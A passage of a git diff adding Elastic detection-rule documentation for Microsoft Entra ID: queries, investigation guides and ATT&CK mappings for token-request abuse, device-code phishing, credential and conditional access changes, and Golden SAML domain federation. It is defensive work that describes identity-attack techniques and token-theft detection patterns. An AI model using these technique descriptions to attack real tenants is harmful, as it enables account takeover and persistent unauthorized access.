https://attack.mitre.org/techniques/T1560/ +* Sub-technique: +** Name: Archive via Utility +** ID: T1560.001 +** Reference URL: https://attack.mitre.org/techniques/T1560/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-adrs-token-request-by-microsoft-authentication-broker.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-adrs-token-request-by-microsoft-authentication-broker.asciidoc new file mode 100644 index 0000000000..458043d5e9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-adrs-token-request-by-microsoft-authentication-broker.asciidoc @@ -0,0 +1,127 @@ +[[prebuilt-rule-8-19-21-entra-id-adrs-token-request-by-microsoft-authentication-broker]] +=== Entra ID ADRS Token Request by Microsoft Authentication Broker + +Detects suspicious OAuth 2.0 token requests where the Microsoft Authentication Broker (29d9ed98-a469-4536-ade2-f981bc1d605e) requests access to the Device Registration Service (01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9) on behalf of a user principal. The presence of the adrs_access scope in the authentication processing details suggests an attempt to access ADRS, which is atypical for standard user sign-ins. This behavior may reflect an effort to abuse device registration for unauthorized persistence, such as acquiring a Primary Refresh Token (PRT) or establishing a trusted session. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-azure.signinlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID ADRS Token Request by Microsoft Authentication Broker* + + +Detects suspicious OAuth 2.0 token requests where the Microsoft Authentication Broker (29d9ed98-a469-4536-ade2-f981bc1d605e) requests access to the Device Registration Service (01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9) on behalf of a user principal. The presence of the adrs_access scope in the authentication processing details suggests an attempt to access ADRS, which is atypical for standard user sign-ins. This behavior may reflect an effort to abuse device registration for unauthorized persistence, such as acquiring a Primary Refresh Token (PRT) or establishing a trusted session. + + +*Possible investigation steps* + +- Identify the user principal associated with the request by checking `azure.signinlogs.properties.user_principal_name` or `azure.signinlogs.properties.user_id`. +- Review the `azure.signinlogs.properties.app_id` and `azure.signinlogs.properties.resource_id` to confirm the request is made by the Microsoft Authentication Broker and targeting the Device Registration Service. +- Examine the `azure.signinlogs.properties.authentication_processing_details.Oauth Scope Info` for the presence of `adrs_access`, indicating an attempt to access ADRS. +- Check the `azure.signinlogs.properties.incoming_token_type` to confirm the request is made using a refresh token, which is typical for persistent access scenarios. +- Review the `azure.signinlogs.properties.user_type` to ensure it is a "Member" user, as this behavior is unusual for standard user accounts. +- Review the `source.address` and `source.geo.country_name` to identify the origin of the request. Look for any anomalies or unexpected locations. +- Check the `azure.signinlogs.properties.device_detail.operating_system` and `azure.signinlogs.properties.device_detail.browser` to identify the device and browser used for the request. Look for any unusual or unexpected devices for this user. +- Use the `azure.signinlogs.properties.session_id` to correlate this request with other sign-in events for the same user. Look for any patterns of suspicious activity or multiple requests in a short time frame. +- Correlate with Entra ID audit logs to identify any recent device registrations or changes to the user's device registration status. +- Pivot to primary refresh token (PRTs) usage for the same user and/or session ID to identify any potential abuse or unauthorized access attempts. + + +*False positive analysis* + +- Legitimate applications or services that require access to the Device Registration Service may trigger this rule. If this is expected behavior, consider adjusting the rule or adding exceptions for specific applications or user accounts. +- Users being onboarded or enrolled in new devices may also trigger this rule, especially if they are using the Microsoft Authentication Broker for the first time. + + +*Response and remediation* + +- If the request is confirmed to be suspicious or unauthorized, take immediate action to revoke the access token and prevent further access. +- Disable the user account temporarily to prevent any potential compromise or unauthorized access. +- Review the user's recent sign-in activity and access patterns to identify any potential compromise or unauthorized access. +- If the user account is compromised, initiate a password reset and enforce multi-factor authentication (MFA) for the user. +- Review the conditional access policies in place to ensure they are sufficient to prevent unauthorized access to sensitive resources. +- Consider deactivating any newly registered devices associated with the user account until further investigation is complete. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.signinlogs" and + azure.signinlogs.properties.app_id : "29d9ed98-a469-4536-ade2-f981bc1d605e" and + azure.signinlogs.properties.resource_id : "01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9" and + azure.signinlogs.category: "NonInteractiveUserSignInLogs" and + azure.signinlogs.properties.authentication_processing_details: *adrs_access* and + azure.signinlogs.properties.incoming_token_type: "refreshToken" and + azure.signinlogs.properties.user_type: "Member" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Device Registration +** ID: T1098.005 +** Reference URL: https://attack.mitre.org/techniques/T1098/005/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-application-credential-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-application-credential-modified.asciidoc new file mode 100644 index 0000000000..459744707f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-application-credential-modified.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-21-entra-id-application-credential-modified]] +=== Entra ID Application Credential Modified + +Identifies when a new credential is added to an application in Azure. An application may use a certificate or secret string to prove its identity when requesting a token. Multiple certificates and secrets can be added for an application and an adversary may abuse this by creating an additional authentication method to evade defenses or persist in an environment. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.auditlogs-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/ + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Entra ID Application Credential Modified* + + +Azure applications use credentials like certificates or secret strings for identity verification during token requests. Adversaries may exploit this by adding unauthorized credentials, enabling persistent access or evading defenses. The detection rule monitors audit logs for successful updates to application credentials, flagging potential misuse by identifying unauthorized credential modifications. + + +*Possible investigation steps* + + +- Review the Azure audit logs to identify the specific application that had its credentials updated, focusing on entries with the operation name "Update application - Certificates and secrets management" and a successful outcome. +- Determine the identity of the user or service principal that performed the credential modification by examining the associated user or principal ID in the audit log entry. +- Investigate the context of the credential modification by checking for any recent changes or unusual activities related to the application, such as modifications to permissions or roles. +- Assess the legitimacy of the new credential by verifying if it aligns with expected operational procedures or if it was authorized by a known and trusted entity. +- Check for any additional suspicious activities in the audit logs around the same timeframe, such as failed login attempts or other modifications to the application, to identify potential indicators of compromise. +- Contact the application owner or relevant stakeholders to confirm whether the credential addition was expected and authorized, and gather any additional context or concerns they might have. + + +*False positive analysis* + + +- Routine credential updates by authorized personnel can trigger alerts. Regularly review and document credential management activities to distinguish between legitimate and suspicious actions. +- Automated processes or scripts that update application credentials as part of maintenance or deployment cycles may cause false positives. Identify and whitelist these processes to prevent unnecessary alerts. +- Credential updates during application scaling or migration might be flagged. Coordinate with IT teams to schedule these activities and temporarily adjust monitoring thresholds or exclusions. +- Third-party integrations that require periodic credential updates can be mistaken for unauthorized changes. Maintain an inventory of such integrations and establish baseline behaviors to filter out benign activities. +- Frequent updates by specific service accounts could be part of normal operations. Monitor these accounts separately and consider creating exceptions for known, non-threatening patterns. + + +*Response and remediation* + + +- Immediately revoke the unauthorized credentials by accessing the Azure portal and removing any suspicious certificates or secret strings associated with the affected application. +- Conduct a thorough review of the application's access logs to identify any unauthorized access or actions performed using the compromised credentials. +- Reset and update all legitimate credentials for the affected application to ensure no further unauthorized access can occur. +- Notify the security team and relevant stakeholders about the incident, providing details of the unauthorized credential modification and any potential impact. +- Implement additional monitoring on the affected application to detect any further unauthorized changes or access attempts. +- Review and tighten access controls and permissions for managing application credentials to prevent unauthorized modifications in the future. +- If necessary, escalate the incident to higher-level security management or external cybersecurity experts for further investigation and response. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.auditlogs and azure.auditlogs.operation_name:"Update application - Certificates and secrets management" and event.outcome:(success or Success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-concurrent-sign-in-with-suspicious-properties.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-concurrent-sign-in-with-suspicious-properties.asciidoc new file mode 100644 index 0000000000..0fa986baa4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-concurrent-sign-in-with-suspicious-properties.asciidoc @@ -0,0 +1,200 @@ +[[prebuilt-rule-8-19-21-entra-id-concurrent-sign-in-with-suspicious-properties]] +=== Entra ID Concurrent Sign-in with Suspicious Properties + +Identifies concurrent azure signin events for the same user and from multiple sources, and where one of the authentication event has some suspicious properties often associated to DeviceCode and OAuth phishing. Adversaries may steal Refresh Tokens (RTs) via phishing to bypass multi-factor authentication (MFA) and gain unauthorized access to Azure resources. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/entra/identity/ +* https://learn.microsoft.com/en-us/entra/identity/monitoring-health/concept-sign-ins +* https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-azure-monitor-sign-ins-log-schema +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Data Source: Azure +* Data Source: Entra ID +* Data Source: Entra ID Sign-in +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Concurrent Sign-in with Suspicious Properties* + + + +*Possible investigation steps* + + +- Review the sign-in logs to assess the context and reputation of the source.ip address. +- Investigate the user account associated with the successful sign-in to determine if the activity aligns with expected behavior or if it appears suspicious. +- Check for any recent changes or anomalies in the user's account settings or permissions that could indicate compromise. +- Review the history of sign-ins for the user to identify any patterns or unusual access times that could suggest unauthorized access. +- Assess the device from which the sign-in was attempted to ensure it is a recognized and authorized device for the user. + + +*Response and remediation* + + +- Immediately revoke the compromised Primary Refresh Tokens (PRTs) to prevent further unauthorized access. This can be done through the Azure portal by navigating to the user's account and invalidating all active sessions. +- Enforce a password reset for the affected user accounts to ensure that any credentials potentially compromised during the attack are no longer valid. +- Implement additional Conditional Access policies that require device compliance checks and restrict access to trusted locations or devices only, to mitigate the risk of future PRT abuse. +- Conduct a thorough review of the affected accounts' recent activity logs to identify any unauthorized actions or data access that may have occurred during the compromise. +- Escalate the incident to the security operations team for further investigation and to determine if there are any broader implications or additional compromised accounts. +- Enhance monitoring by configuring alerts for unusual sign-in patterns or device code authentication attempts from unexpected locations or devices, to improve early detection of similar threats. +- Coordinate with the incident response team to perform a post-incident analysis and update the incident response plan with lessons learned from this event. + +==== Setup + + + +*Required Azure Entra Sign-In Logs* + +This rule requires the Azure logs integration be enabled and configured to collect all logs, including sign-in logs from Entra. In Entra, sign-in logs must be enabled and streaming to the Event Hub used for the Azure logs integration. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-azure.signinlogs-* metadata _id, _version, _index + +// Scheduled to run every hour, reviewing events from past hour +| where + @timestamp > now() - 1 hours + and data_stream.dataset == "azure.signinlogs" + and source.ip is not null + and azure.signinlogs.identity is not null + and to_lower(event.outcome) == "success" + +// keep relevant raw fields +| keep + @timestamp, + azure.signinlogs.identity, + source.ip, + azure.signinlogs.properties.authentication_requirement, + azure.signinlogs.properties.app_id, + azure.signinlogs.properties.resource_display_name, + azure.signinlogs.properties.authentication_protocol, + azure.signinlogs.properties.app_display_name + +// case classifications for identity usage +| eval + Esql.azure_signinlogs_properties_authentication_device_code_case = case( + azure.signinlogs.properties.authentication_protocol == "deviceCode" + and azure.signinlogs.properties.authentication_requirement != "multiFactorAuthentication", + azure.signinlogs.identity, + null), + + Esql.azure_signinlogs_auth_visual_studio_case = case( + azure.signinlogs.properties.app_id == "aebc6443-996d-45c2-90f0-388ff96faa56" + and azure.signinlogs.properties.resource_display_name == "Microsoft Graph", + azure.signinlogs.identity, + null), + + Esql.azure_signinlogs_auth_other_case = case( + azure.signinlogs.properties.authentication_protocol != "deviceCode" + and azure.signinlogs.properties.app_id != "aebc6443-996d-45c2-90f0-388ff96faa56", + azure.signinlogs.identity, + null) + +// Aggregate metrics by user identity +| stats + Esql.event_count = count(*), + Esql.azure_signinlogs_properties_authentication_device_code_case_count_distinct = count_distinct(Esql.azure_signinlogs_properties_authentication_device_code_case), + Esql.azure_signinlogs_properties_auth_visual_studio_count_distinct = count_distinct(Esql.azure_signinlogs_auth_visual_studio_case), + Esql.azure_signinlogs_properties_auth_other_count_distinct = count_distinct(Esql.azure_signinlogs_auth_other_case), + Esql.azure_signinlogs_properties_source_ip_count_distinct = count_distinct(source.ip), + Esql.azure_signinlogs_properties_source_ip_values = values(source.ip), + Esql.azure_signinlogs_properties_client_app_values = values(azure.signinlogs.properties.app_display_name), + Esql.azure_signinlogs_properties_resource_display_name_values = values(azure.signinlogs.properties.resource_display_name), + Esql.azure_signinlogs_properties_auth_requirement_values = values(azure.signinlogs.properties.authentication_requirement) + by azure.signinlogs.identity + +// Detect multiple unique IPs for one user with signs of deviceCode or VSC OAuth usage +| where + Esql.azure_signinlogs_properties_source_ip_count_distinct >= 2 + and ( + Esql.azure_signinlogs_properties_authentication_device_code_case_count_distinct > 0 + or Esql.azure_signinlogs_properties_auth_visual_studio_count_distinct > 0 + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-conditional-access-policy-cap-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-conditional-access-policy-cap-modified.asciidoc new file mode 100644 index 0000000000..1f7ef8ae21 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-conditional-access-policy-cap-modified.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-21-entra-id-conditional-access-policy-cap-modified]] +=== Entra ID Conditional Access Policy (CAP) Modified + +Identifies a modification to a conditional access policy (CAP) in Microsoft Entra ID. Adversaries may modify existing CAPs to loosen access controls and maintain persistence in the environment with a compromised identity or entity. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-azure.auditlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/active-directory/conditional-access/overview +* https://www.rezonate.io/blog/microsoft-entra-id-the-complete-guide-to-conditional-access-policies/ + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Use Case: Configuration Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigation Guide: Microsoft Entra ID Conditional Access Policy (CAP) Modified* + + +Azure Conditional Access Policies (CAPs) are critical for enforcing secure access requirements such as multi-factor authentication (MFA), restricting specific users or groups, and managing sign-in conditions. Modifying these policies can be a technique for weakening an organization’s defenses and maintaining persistence after initial access. + +This rule detects a successful update to a Conditional Access Policy in Microsoft Entra ID (formerly Azure AD). + + +*Possible Investigation Steps* + + +- **Identify the user who modified the policy:** + - Check the value of `azure.auditlogs.properties.initiated_by.user.userPrincipalName` to determine the identity that made the change. + - Investigate their recent activity to determine if this change was expected or authorized. + +- **Review the modified policy name:** + - Look at `azure.auditlogs.properties.target_resources.*.display_name` to find the name of the affected policy. + - Determine whether this policy is related to critical controls (e.g., requiring MFA for admins). + +- **Analyze the policy change:** + - Compare the `old_value` and `new_value` fields under `azure.auditlogs.properties.target_resources.*.modified_properties.*`. + - Look for security-reducing changes, such as: + - Removing users/groups from enforcement. + - Disabling MFA or risk-based conditions. + - Introducing exclusions that reduce the policy’s coverage. + +- **Correlate with other activity:** + - Pivot on `azure.auditlogs.properties.activity_datetime` to identify if any suspicious sign-ins occurred after the policy was modified. + - Check for related authentication logs, particularly from the same IP address (`azure.auditlogs.properties.initiated_by.user.ipAddress`). + +- **Assess the user's legitimacy:** + - Review the initiator’s Azure role, group memberships, and whether their account was recently elevated or compromised. + - Investigate whether this user has a history of modifying policies or if this is anomalous. + + +*Validation & False Positive Considerations* + + +- **Authorized administrative changes:** Some organizations routinely update CAPs as part of policy tuning or role-based access reviews. +- **Security reviews or automation:** Scripts, CI/CD processes, or third-party compliance tools may programmatically update CAPs. +- **Employee lifecycle events:** Policy changes during employee onboarding/offboarding may include updates to access policies. + +If any of these cases apply and align with the activity's context, consider tuning the rule or adding exceptions for expected patterns. + + +*Response & Remediation* + + +- Revert unauthorized or insecure changes to the Conditional Access Policy immediately. +- Temporarily increase monitoring of CAP modifications and sign-in attempts. +- Lock or reset the credentials of the user account that made the change if compromise is suspected. +- Conduct a broader access review of conditional access policies and privileged user activity. +- Implement stricter change management and alerting around CAP changes. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.auditlogs" + and event.action:"Update conditional access policy" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Conditional Access Policies +** ID: T1556.009 +** Reference URL: https://attack.mitre.org/techniques/T1556/009/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Conditional Access Policies +** ID: T1556.009 +** Reference URL: https://attack.mitre.org/techniques/T1556/009/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-custom-domain-added-or-verified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-custom-domain-added-or-verified.asciidoc new file mode 100644 index 0000000000..171a2e06cf --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-custom-domain-added-or-verified.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-21-entra-id-custom-domain-added-or-verified]] +=== Entra ID Custom Domain Added or Verified + +Detects when a custom domain is added or verified in an Entra ID tenant. Adding and verifying a custom domain are precursor steps to configuring domain federation, which can be abused by adversaries to route authentication through an attacker-controlled identity provider (Golden SAML). In most organizations, custom domains are added infrequently and these events should be investigated to ensure they are part of a legitimate administrative workflow. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-azure.auditlogs-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/blog/topics/threat-intelligence/unc2452-merged-into-apt29 +* https://learn.microsoft.com/en-us/graph/api/domain-post-domains +* https://learn.microsoft.com/en-us/graph/api/domain-verify +* https://medium.com/tenable-techblog/roles-allowing-to-abuse-entra-id-federation-for-persistence-and-privilege-escalation-df9ca6e58360 +* https://securitylabs.datadoghq.com/articles/i-spy-escalating-to-entra-id-global-admin/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Tactic: Discovery +* Tactic: Resource Development +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Custom Domain Added or Verified* + + +This rule detects when a custom domain is added or verified in an Entra ID tenant. These are precursor steps required before an adversary can configure domain federation. While adding and verifying domains are legitimate administrative activities, they are infrequent in most organizations. When observed without a corresponding change request or IT workflow, they may indicate the early stages of a Golden SAML or BYOIDP (Bring Your Own Identity Provider) attack. + +While adding and verifying domains are legitimate administrative activities, they are infrequent in most organizations. When observed without a corresponding change request or IT workflow, they may indicate the early stages of a Golden SAML or BYOIDP (Bring Your Own Identity Provider) attack. + + +*Possible investigation steps* + + +- Review `azure.auditlogs.properties.initiated_by.user.userPrincipalName` and `ipAddress` to identify who performed the action and from where. +- For `"Add unverified domain"` events, check `azure.auditlogs.properties.target_resources.0.display_name` for the domain name that was added. +- Determine whether the domain is known to the organization or is potentially adversary-controlled. +- Check if a corresponding `"Verify domain"` event follows shortly after and from the same actor. +- Look for subsequent `"Set domain authentication"` or `"Set federation settings on domain"` events that would indicate the domain was federated — this escalates the severity significantly. +- Verify with the Global Administrator or IT team whether a domain addition was planned. +- Check DNS records for the domain to understand who owns it and when the verification TXT record was added. +- Review the `user_agent.original` field for the actor to determine if the change was made via the Azure Portal, Microsoft Graph API, or PowerShell, which may provide additional context on whether this was a manual or scripted action. + + +*False positive analysis* + + +- Legitimate domain additions during initial tenant setup, organizational expansion, or mergers and acquisitions. +- IT administrators adding domains for new email routing, SharePoint vanity URLs, or multi-domain configurations. +- Automated provisioning systems that manage domain lifecycle. +- Validate with the identity or IT team before dismissing these events. + + +*Response and remediation* + + +- If the domain addition is unauthorized, immediately remove the unverified or verified domain: `Remove-MgDomain -DomainId ""`. +- Investigate how the actor obtained privileges to add domains (requires Global Administrator or Domain Administrator role). +- Review the tenant for any other unauthorized changes made by the same actor using the `azure.correlation_id` or actor identity. +- If the domain was already federated, escalate to the response steps in the companion rule `Entra ID Domain Federation Configuration Change`. +- Restrict domain management operations by implementing PIM (Privileged Identity Management) for Global Administrator roles. + + +==== Setup + + + +*Microsoft Entra ID Audit Logs* + +This rule requires the Azure integration with Microsoft Entra ID Audit Logs data stream ingesting in your Elastic Stack deployment. For more information, refer to the https://www.elastic.co/docs/reference/integrations/azure/adlogs[Microsoft Entra ID Audit Logs integration documentation]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: azure.auditlogs + and azure.auditlogs.properties.category: DirectoryManagement + and event.action: ("Add unverified domain" or "Verify domain") + and event.outcome: success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Resource Development +** ID: TA0042 +** Reference URL: https://attack.mitre.org/tactics/TA0042/ +* Technique: +** Name: Compromise Infrastructure +** ID: T1584 +** Reference URL: https://attack.mitre.org/techniques/T1584/ +* Sub-technique: +** Name: Domains +** ID: T1584.001 +** Reference URL: https://attack.mitre.org/techniques/T1584/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-domain-federation-configuration-change.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-domain-federation-configuration-change.asciidoc new file mode 100644 index 0000000000..ab0713bc70 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-domain-federation-configuration-change.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-21-entra-id-domain-federation-configuration-change]] +=== Entra ID Domain Federation Configuration Change + +Detects when domain federation settings are configured or modified in an Entra ID tenant via the Microsoft Graph API. Adversaries with Global Administrator or Domain Administrator privileges may add a custom domain, verify ownership, and configure it to federate authentication with an attacker-controlled identity provider. Once federated, the adversary can forge SAML or WS-Federation tokens to authenticate as any user under that domain, bypassing MFA and conditional access policies. This technique, commonly known as Golden SAML, was used by UNC2452 (APT29) during the SolarWinds campaign for persistent, stealthy access to victim tenants. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-azure.auditlogs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/blog/topics/threat-intelligence/unc2452-merged-into-apt29 +* https://learn.microsoft.com/en-us/graph/api/domain-post-federationconfiguration +* https://medium.com/tenable-techblog/roles-allowing-to-abuse-entra-id-federation-for-persistence-and-privilege-escalation-df9ca6e58360 +* https://securitylabs.datadoghq.com/articles/i-spy-escalating-to-entra-id-global-admin/ +* https://techcommunity.microsoft.com/blog/microsoft-entra-blog/understanding-and-mitigating-golden-saml-attacks/4418864 + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Domain Federation Configuration Change* + + +This rule detects when domain federation settings are added or modified in an Entra ID tenant. Domain federation allows organizations to delegate authentication for a UPN domain suffix to an external Identity Provider (IdP). While this is a legitimate feature for organizations using external IdPs like Okta or ADFS, adversaries can abuse it to establish persistent access by federating a domain to an attacker-controlled IdP. + +This is the highest blast radius federation abuse technique, unlike app-level federated identity credentials (which affect a single service principal), domain federation affects all users whose UPN matches the federated domain. + +Both events share the same `correlation_id` but neither includes the federation configuration details (issuer URI, signing certificate) in the event properties. + + +*Possible investigation steps* + + +- Review `azure.auditlogs.properties.initiated_by.user.userPrincipalName` and `ipAddress` to 